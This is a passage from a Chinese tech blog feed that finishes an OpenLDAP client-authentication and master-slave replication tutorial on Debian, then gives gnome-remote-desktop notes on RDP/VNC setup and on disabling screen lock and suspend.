root@localhost:~# sed -i &amp;#x27;s&amp;#x2F;^#BASE.*$&amp;#x2F;BASE    dc=bytedance,dc=local&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;ldap.conf
root@localhost:~# sed -i &amp;#x27;s|^#URI.*$|URI     ldap:&amp;#x2F;&amp;#x2F;ldap01.bytedance.local|&amp;#x27; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;ldap.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;配置 &lt;code&gt;PAM&lt;&#x2F;code&gt; 模块规则及检查 &lt;code&gt;SSH&lt;&#x2F;code&gt; 配置&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 配置 PAM 进行 LDAP 身份验证
root@localhost:~# echo &amp;quot;auth    sufficient            pam_ldap.so&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;pam.d&amp;#x2F;common-auth

# 指定系统在获取用户、密码和组信息时要使用的 LDAP 认证源
root@localhost:~# sed -i &amp;#x27;s&amp;#x2F;^passwd:.*$&amp;#x2F;passwd:         files systemd ldap&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;nsswitch.conf
root@localhost:~# sed -i &amp;#x27;s&amp;#x2F;^group:.*$&amp;#x2F;group:          files systemd ldap&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;nsswitch.conf
root@localhost:~# sed -i &amp;#x27;s&amp;#x2F;^shadow:.*$&amp;#x2F;shadow:         files systemd ldap&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;nsswitch.conf

# 确认sshd配置中以下两行没有被注释
root@localhost:~# cat &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;sshd_config | grep -Ei &amp;quot;^(PasswordAuthentication|UsePAM)&amp;quot;
PasswordAuthentication yes
UsePAM yes

# 重新加载 PAM 配置并重启相关服务
root@localhost:~# systemctl restart systemd-logind.service

# 重启名称解析服务
root@localhost:~# systemctl restart systemd-resolved.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;验证是否能够检索到 &lt;code&gt;LDAP&lt;&#x2F;code&gt; 的用户及群组信息&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 验证是否能够正确检索到用户信息
root@localhost:~# getent passwd zhangsan
zhangsan:x:10001:10001:zhangsan:&amp;#x2F;home&amp;#x2F;zhangsan:&amp;#x2F;bin&amp;#x2F;bash

root@localhost:~# getent passwd liming
liming:x:10002:10002:liming:&amp;#x2F;home&amp;#x2F;liming:&amp;#x2F;bin&amp;#x2F;bash

root@localhost:~# getent passwd john
john:x:10003:10003:john:&amp;#x2F;home&amp;#x2F;john:&amp;#x2F;bin&amp;#x2F;bash

root@localhost:~# getent passwd alice
alice:x:10004:10004:alice:&amp;#x2F;home&amp;#x2F;alice:&amp;#x2F;bin&amp;#x2F;bash

# 验证是否能够正确检索到用户群组信息
root@localhost:~# getent group zhangsan
zhangsan:*:10001:

root@localhost:~# getent group liming
liming:*:10002:

root@localhost:~# getent group john
john:*:10003:

root@localhost:~# getent group alice
alice:*:10004:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;设置家目录及属主权限&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 创建本地家目录
root@localhost:~# mkdir &amp;#x2F;home&amp;#x2F;{zhangsan,liming,john,alice}

# 设置家目录权限
root@localhost:~# chown -R 10001:10001 &amp;#x2F;home&amp;#x2F;zhangsan
root@localhost:~# chown -R 10002:10002 &amp;#x2F;home&amp;#x2F;liming
root@localhost:~# chown -R 10003:10003 &amp;#x2F;home&amp;#x2F;john
root@localhost:~# chown -R 10004:10004 &amp;#x2F;home&amp;#x2F;alice

# 检查家目录权限与属组
root@localhost:~# ll -d &amp;#x2F;home&amp;#x2F;{zhangsan,liming,john,alice}
drwxr-x--- 2 alice    alice    6 Dec  6 21:23 &amp;#x2F;home&amp;#x2F;alice
drwxr-x--- 2 john     john     6 Dec  6 21:23 &amp;#x2F;home&amp;#x2F;john
drwxr-x--- 2 liming   liming   6 Dec  6 21:23 &amp;#x2F;home&amp;#x2F;liming
drwxr-x--- 2 zhangsan zhangsan 6 Dec  6 21:23 &amp;#x2F;home&amp;#x2F;zhangsan
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;7&quot;&gt;
&lt;li&gt;本地 &lt;code&gt;su&lt;&#x2F;code&gt; 切换测试&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# su 到相应用户
root@localhost:~# su - liming
liming@localhost:~$ whoami
liming
liming@localhost:~$ exit
logout
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;8&quot;&gt;
&lt;li&gt;远程 &lt;code&gt;SSH&lt;&#x2F;code&gt; 登录测试&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;➜ ~ ssh -l zhangsan 10.2.102.250
zhangsan@10.2.102.250&amp;#x27;s password:
Linux localhost 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64

The programs included with the Debian GNU&amp;#x2F;Linux system are free software;
the exact distribution terms for each program are described in the
individual files in &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;doc&amp;#x2F;*&amp;#x2F;copyright.

Debian GNU&amp;#x2F;Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Dec  6 08:36:17 2023 from xx.xxx.xxx.xx
zhangsan@localhost:~$ id
uid=10001(zhangsan) gid=10001(zhangsan) groups=10001(zhangsan)
zhangsan@localhost:~$ whoami
zhangsan
zhangsan@localhost:~$ pwd
&amp;#x2F;home&amp;#x2F;zhangsan

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;openldap-zhu-cong-fu-zhi&quot;&gt;OpenLDAP 主从复制&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenLDAP 的主从复制需要在两台或更多的服务器上进行配置。一台作为主节点（也被称为 provider 或 master），其余的作为从节点（也被称为 consumer 或 slave）。这种设置可以提供数据的冗余，提高可靠性和性能。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;pei-zhi-zhu-jie-dian&quot;&gt;配置主节点&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;需要确保 &lt;code&gt;OpenLDAP&lt;&#x2F;code&gt; 服务器已加载 &lt;code&gt;Syncprov overlay&lt;&#x2F;code&gt; 模块：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 检查 Syncprov overlay 工具是否已经加载
root@ldap01:~# slapcat -n0 | grep olcModuleLoad | grep syncprov

# 如果没有输出结果，那么你可能需要添加相关的模块。如果有输出，则忽略以下步骤。
root@ldap01:~# cat &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;module_syncprov.ldif
dn: cn=module{0},cn=config
changetype: modify
add: olcModuleLoad
olcModuleLoad: syncprov.la

# 应用配置
root@ldap01:~# ldapadd -Y EXTERNAL -H ldapi:&amp;#x2F;&amp;#x2F;&amp;#x2F; -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;module_syncprov.ldif
SASL&amp;#x2F;EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry &amp;quot;cn=module{0},cn=config&amp;quot;

# 再次运行来验证模块是否成功加载
root@ldap01:~# slapcat -n0 | grep olcModuleLoad | grep syncprov
olcModuleLoad: {1}syncprov.la
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;设置 &lt;code&gt;OpenLDAP&lt;&#x2F;code&gt; 服务器开启提供者 &lt;code&gt;（Syncprov）&lt;&#x2F;code&gt; 功能：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 创建一个新的 LDIF 文件，用于配置 OpenLDAP 中的 Syncprov overlay
root@ldap01:~# cat &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;syncprov.ldif
dn: olcOverlay=syncprov,olcDatabase={1}mdb,cn=config
changetype: add
objectClass: olcOverlayConfig
objectClass: olcSyncProvConfig
olcOverlay: syncprov

# 将 Syncprov overlay 添加到 mdb 数据库
# 现在，你的 OpenLDAP 服务已经设置好并可以开始使用同步提供者 (Syncprov) 的功能了
root@ldap01:~# ldapadd -Y EXTERNAL -H ldapi:&amp;#x2F;&amp;#x2F;&amp;#x2F; -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;syncprov.ldif
SASL&amp;#x2F;EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry &amp;quot;olcOverlay=syncprov,olcDatabase={1}mdb,cn=config&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;检查相关 &lt;code&gt;Syncprov&lt;&#x2F;code&gt; 功能：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看 Syncprov overlay 的状态
root@ldap01:~# ldapsearch -Q -LLL -Y EXTERNAL -H ldapi:&amp;#x2F;&amp;#x2F;&amp;#x2F; -b &amp;quot;olcOverlay={0}syncprov,olcDatabase={1}mdb,cn=config&amp;quot; dn
dn: olcOverlay={0}syncprov,olcDatabase={1}mdb,cn=config

# 查看是否加载了 Syncprov 的模块
root@ldap01:~# ldapsearch -Q -LLL -Y EXTERNAL -H ldapi:&amp;#x2F;&amp;#x2F;&amp;#x2F; -b cn=config cn* dn
dn: cn=config                                                # 该项表示你的服务器目前的主配置

dn: cn=module{0},cn=config                                   # 该项表示你已经加载了一些 LDAP 模块，虽然输出中没有明确列出具体加载了哪些模块，但可以推测 syncprov 是已经加载的模块之一

dn: cn=schema,cn=config                                      # 该项表示你的服务器中设置的整体 schema，schema 是一种存放对象类型和属性的一种目录

dn: cn={0}core,cn=schema,cn=config

dn: cn={1}cosine,cn=schema,cn=config

dn: cn={2}nis,cn=schema,cn=config

dn: cn={3}inetorgperson,cn=schema,cn=config

dn: olcDatabase={-1}frontend,cn=config

dn: olcDatabase={0}config,cn=config

dn: olcDatabase={1}mdb,cn=config

dn: olcOverlay={0}syncprov,olcDatabase={1}mdb,cn=config      # 该项表示你的 mdb 数据库已经启用了 syncprov 这个 overlay。也就是说 syncprov 已经在你的 server 上生效了，会为你的数据库提供 LDAP 内容复制的功能。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;定义相关的主机名和 &lt;code&gt;IP&lt;&#x2F;code&gt; 地址条目：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 一般来说，在 LDAP 主机(Master)和从机(Slave)上的 &amp;#x2F;etc&amp;#x2F;hosts 文件都需要定义相关的主机名和 IP 地址。
# 这意味着你需要在每台服务器的 &amp;#x2F;etc&amp;#x2F;hosts 文件中添加相应的条目。
root@ldap01:~# cat &amp;#x2F;etc&amp;#x2F;hosts
127.0.0.1        localhost

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.2.102.201        ldap01.bytedance.local        ldap01        ldap-master
10.2.102.202        ldap02.bytedance.local        ldap02        ldap-slave
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;pei-zhi-cong-jie-dian&quot;&gt;配置从节点&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;安装 &lt;code&gt;OpenLDAP&lt;&#x2F;code&gt; 软件：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap02:~# apt install -y slapd ldap-utils
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  ethtool linux-image-5.10.0-8-amd64 zerofree
Use &amp;#x27;apt autoremove&amp;#x27; to remove them.
The following additional packages will be installed:
  libodbc1 psmisc
Suggested packages:
  libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libmyodbc odbc-postgresql tdsodbc unixodbc-bin
The following NEW packages will be installed:
  ldap-utils libodbc1 psmisc slapd
0 upgraded, 4 newly installed, 0 to remove and 108 not upgraded.
Need to get 2,077 kB of archives.
After this operation, 6,783 kB of additional disk space will be used.
Get:1 http:&amp;#x2F;&amp;#x2F;deb.debian.org&amp;#x2F;debian bullseye&amp;#x2F;main amd64 libodbc1 amd64 2.3.6-0.1+b1 [224 kB]
Get:2 http:&amp;#x2F;&amp;#x2F;deb.debian.org&amp;#x2F;debian bullseye&amp;#x2F;main amd64 psmisc amd64 23.4-2 [198 kB]
Get:3 http:&amp;#x2F;&amp;#x2F;deb.debian.org&amp;#x2F;debian bullseye&amp;#x2F;main amd64 slapd amd64 2.4.57+dfsg-3+deb11u1 [1,448 kB]
Get:4 http:&amp;#x2F;&amp;#x2F;deb.debian.org&amp;#x2F;debian bullseye&amp;#x2F;main amd64 ldap-utils amd64 2.4.57+dfsg-3+deb11u1 [206 kB]
Fetched 2,077 kB in 0s (10.6 MB&amp;#x2F;s)
Preconfiguring packages ...
Selecting previously unselected package libodbc1:amd64.
(Reading database ... 81773 files and directories currently installed.)
Preparing to unpack ...&amp;#x2F;libodbc1_2.3.6-0.1+b1_amd64.deb ...
Unpacking libodbc1:amd64 (2.3.6-0.1+b1) ...
Selecting previously unselected package psmisc.
Preparing to unpack ...&amp;#x2F;psmisc_23.4-2_amd64.deb ...
Unpacking psmisc (23.4-2) ...
Selecting previously unselected package slapd.
Preparing to unpack ...&amp;#x2F;slapd_2.4.57+dfsg-3+deb11u1_amd64.deb ...
Unpacking slapd (2.4.57+dfsg-3+deb11u1) ...
Selecting previously unselected package ldap-utils.
Preparing to unpack ...&amp;#x2F;ldap-utils_2.4.57+dfsg-3+deb11u1_amd64.deb ...
Unpacking ldap-utils (2.4.57+dfsg-3+deb11u1) ...
Setting up psmisc (23.4-2) ...
Setting up ldap-utils (2.4.57+dfsg-3+deb11u1) ...
Setting up libodbc1:amd64 (2.3.6-0.1+b1) ...
Setting up slapd (2.4.57+dfsg-3+deb11u1) ...
  Creating new user openldap... done.
  Creating initial configuration... done.
  Creating LDAP directory... done.
Processing triggers for man-db (2.9.4-2) ...
Processing triggers for libc-bin (2.31-13+deb11u5) ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;新增主机解析：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap02:~# cat &amp;#x2F;etc&amp;#x2F;hosts
127.0.0.1        localhost

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.2.102.201        ldap01.bytedance.local        ldap01        ldap-master
10.2.102.202        ldap02.bytedance.local        ldap02        ldap-slave
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;定义复制同步规则文件：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;选择的&lt;code&gt;type=refreshAndPersist&lt;&#x2F;code&gt;，这意味着LDAP服务器在启动时会进行一次全量同步（包括所有已存在的旧数据），然后持续同步所有新的变更。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap02:~# cat &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;syncrepl.ldif
dn: olcDatabase={1}mdb,cn=config
changetype: modify
add: olcSyncrepl                                    # 添加了一个 olcSyncrepl 属性：定义了复制提供者 (provider) ，并设定了搜索基础 (searchbase) 和绑定DN (binddn) 等必要的复制参数。参数type=refreshAndPersist 确保从节点会持续跟主节点保持同步，并且 retry=&amp;quot;5 5 300 +&amp;quot; 标明了如果同步失败，从节点会进行如何重试。
olcSyncrepl: rid=001 provider=ldap:&amp;#x2F;&amp;#x2F;ldap01.bytedance.local:389&amp;#x2F; binddn=&amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; bindmethod=simple credentials=1qaz!QAZ searchbase=&amp;quot;dc=bytedance,dc=local&amp;quot; type=refreshAndPersist retry=&amp;quot;5 5 300 +&amp;quot;
-
add: olcUpdateRef                                   # 添加了一个 olcUpdateRef 属性：指向了主节点，这意味着如果有写操作发生在从节点，那么这个操作会被重定向到主节点
olcUpdateRef: ldap:&amp;#x2F;&amp;#x2F;ldap01.bytedance.local:389&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;更新 &lt;code&gt;LDAP&lt;&#x2F;code&gt; 服务配置，设定从节点的同步设置：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap02:~# ldapmodify -Y EXTERNAL -H ldapi:&amp;#x2F;&amp;#x2F;&amp;#x2F; -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;syncrepl.ldif
SASL&amp;#x2F;EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry &amp;quot;olcDatabase={1}mdb,cn=config&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;查看复制设置是否已成功添加：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap02:~# ldapsearch -Q -LLL -Y EXTERNAL -H ldapi:&amp;#x2F;&amp;#x2F;&amp;#x2F; -b cn=config olcSyncrepl
dn: cn=config

dn: cn=module{0},cn=config

dn: cn=schema,cn=config

dn: cn={0}core,cn=schema,cn=config

dn: cn={1}cosine,cn=schema,cn=config

dn: cn={2}nis,cn=schema,cn=config

dn: cn={3}inetorgperson,cn=schema,cn=config

dn: olcDatabase={-1}frontend,cn=config

dn: olcDatabase={0}config,cn=config

dn: olcDatabase={1}mdb,cn=config
olcSyncrepl: {0}rid=001 provider=ldap:&amp;#x2F;&amp;#x2F;ldap01.bytedance.local&amp;#x2F; binddn=&amp;quot;cn=adm
 in,dc=bytedance,dc=local&amp;quot; bindmethod=simple credentials=secret searchbase=&amp;quot;dc
 =bytedance,dc=local&amp;quot; type=refreshAndPersist retry=&amp;quot;5 5 300 +&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时，从节点应该已经配置完成，并且开始从主节点进行复制了。我们可以在主节点上创建一个新的条目，然后在从节点上检查是否可以看到这个新条目，以确认复制是否正常工作。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果有错误，可以通过观察服务日志的方式查看相关记录：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;journalctl -u slapd.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;当然，可以在从节点上使用如下命令，来查询从主节点同步过来的数据：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 该命令将在本地服务器上查找并返回在 “dc=bytedance,dc=local” 这个起点（和其下的所有子目录）下，所有 cn 属性有值的条目的详细信息
ldapsearch -x -H ldap:&amp;#x2F;&amp;#x2F;localhost -b &amp;quot;dc=bytedance,dc=local&amp;quot; &amp;quot;(cn=*)&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;www.howtoforge.com&#x2F;how-to-install-openldap-on-debian-11&#x2F;?__cf_chl_tk=rxFq8iASc5OzsjZcD6yeHVMHIN6jJVAWtHntYySgnWg-1701758277-0-gaNycGzNDZA&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fwww.howtoforge.com%2Fhow-to-install-openldap-on-debian-11%2F%3F__cf_chl_tk%3DrxFq8iASc5OzsjZcD6yeHVMHIN6jJVAWtHntYySgnWg-1701758277-0-gaNycGzNDZA&quot;&gt;www.howtoforge.com&#x2F;how-to-inst…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;147768058&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzhuanlan.zhihu.com%2Fp%2F147768058&quot;&gt;zhuanlan.zhihu.com&#x2F;p&#x2F;147768058&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>gnome-remote-desktop 配置</title>
        <published>2025-10-25T21:43:52+08:00</published>
        <updated>2026-09-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/gnome-remote-desktop 配置/"/>
        <id>https://vercel.juzhong.asia/2025/10/gnome-remote-desktop 配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/gnome-remote-desktop 配置/">&lt;h1 id=&quot;ming-ling-xing-cha-kan-pei-zhi&quot;&gt;命令行查看配置&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings list-recursively | grep remote-desktop
systemctl --user stop gnome-remote-desktop

# 但是我尝试了多种方法最后生成的都是openssh格式的私钥key？？？！！！
# 生成新的密钥（确保是PEM格式）
openssl genrsa -out ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;rdp-tls.key 2048
# 使用 openssl 明确生成 PEM 格式 
openssl genpkey -algorithm RSA -out ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;rdp-tls.key -pkeyopt rsa_keygen_bits:2048
# 生成证书
openssl req -new -x509 -key ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;rdp-tls.key -out ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;rdp-tls.crt -days 3650 -subj &amp;quot;&amp;#x2F;C=CN&amp;#x2F;ST=State&amp;#x2F;L=City&amp;#x2F;O=Organization&amp;#x2F;CN=$(hostname)&amp;quot;

# 设置密钥和证书（如果证书已经设置过，可以不用再设置，但为了确保，可以重新设置一次）
grdctl rdp set-tls-key ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;rdp-tls.key
grdctl rdp set-tls-cert ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;rdp-tls.crt
grdctl status
grdctl --help
systemctl --user start gnome-remote-desktop

# 如果反复遇到 RDP 证书问题，最省时省力的方式是关闭 RDP，启用 VNC：
# 更正（2026-09-11 实测，grd 48）：schema key 是 enable 不是 enabled；
# vnc schema 也没有 password 键了（密码改由 grdctl 写 keyring）
gsettings set org.gnome.desktop.remote-desktop.rdp enable false
gsettings set org.gnome.desktop.remote-desktop.vnc enable true
grdctl vnc set-password   # 交互式输入，VNC 密码最长 8 字符
systemctl --user restart gnome-remote-desktop


# 禁用屏幕自动锁定
gsettings set org.gnome.desktop.screensaver lock-enabled false
# 设置屏幕空白时间为从不
gsettings set org.gnome.desktop.session idle-delay 0
gsettings set org.gnome.desktop.screensaver idle-activation-enabled false
# 禁用自动挂起
gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-ac-type &amp;#x27;nothing&amp;#x27;
gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-battery-type &amp;#x27;nothing&amp;#x27;

# GNOME 45+ 的 gnome-remote-desktop 在 RDP 模式下不会主动防止系统挂起。 因此你还需要告诉 logind 保持唤醒状态：
# 这可以防止合盖（或外接显示器断开）时触发挂起。
sudo sed -i &amp;#x27;s&amp;#x2F;^#\?HandleLidSwitch=.*&amp;#x2F;HandleLidSwitch=ignore&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;logind.conf
sudo sed -i &amp;#x27;s&amp;#x2F;^#\?HandleLidSwitchDocked=.*&amp;#x2F;HandleLidSwitchDocked=ignore&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;logind.conf
sudo systemctl restart systemd-logind
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;qi-ta-zi-liao-de-bu-chong&quot;&gt;其他资料的补充&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 以目标用户身份设置 GNOME 配置（关键！） # 切换到你的桌面用户（例如 peter）
sudo -u peter dbus-run-session -- bash
# dbus-run-session 确保 D-Bus 会话可用，否则 gsettings 可能失效。 

# 禁用自动锁屏
gsettings set org.gnome.desktop.screensaver lock-enabled false

# 禁用屏幕休眠（设为 0 表示永不）
gsettings set org.gnome.desktop.session idle-delay 0

# 禁用显示器自动关闭（设为 0 表示永不）
gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-ac-type &amp;#x27;nothing&amp;#x27;
gsettings set org.gnome.settings-daemon.plugins.power sleep-inactive-battery-type &amp;#x27;nothing&amp;#x27;

# 禁用屏幕变黑（DPMS）
gsettings set org.gnome.desktop.session idle-delay 0
gsettings set org.gnome.settings-daemon.plugins.power idle-dim false

sudo tee &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;logind.conf.d&amp;#x2F;90-disable-suspend.conf &amp;lt;&amp;lt;EOF
[Login]
HandleLidSwitch=ignore
HandleLidSwitchExternalPower=ignore
HandleLidSwitchDocked=ignore
IdleAction=ignore
IdleActionSec=0
EOF
sudo systemctl restart systemd-logind

# GNOME 会检测是否有“活跃会话”。如果你使用的是 GNOME 内置远程桌面（gnome-remote-desktop），它默认应被视为活跃。
# 更正（2026-09-11 实测）：org.gnome.mutter 没有 idle-monitor 这个键，下面这条命令无效已删除；
# GNOME 45+ 下 grd 自身不抑制空闲（源码无 Inhibit 逻辑）。需要 RDP 期间防锁屏应走
# org.gnome.SessionManager.Inhibit(flags=8 即 GSM_INHIBITOR_FLAG_IDLE) 或直接关闭自动锁屏。

# 系统级别的阻止系统挂起: 遇到过问题 sleep.target 会刷大量warning日志
sudo systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target
# 程序运行时临时阻止系统挂起
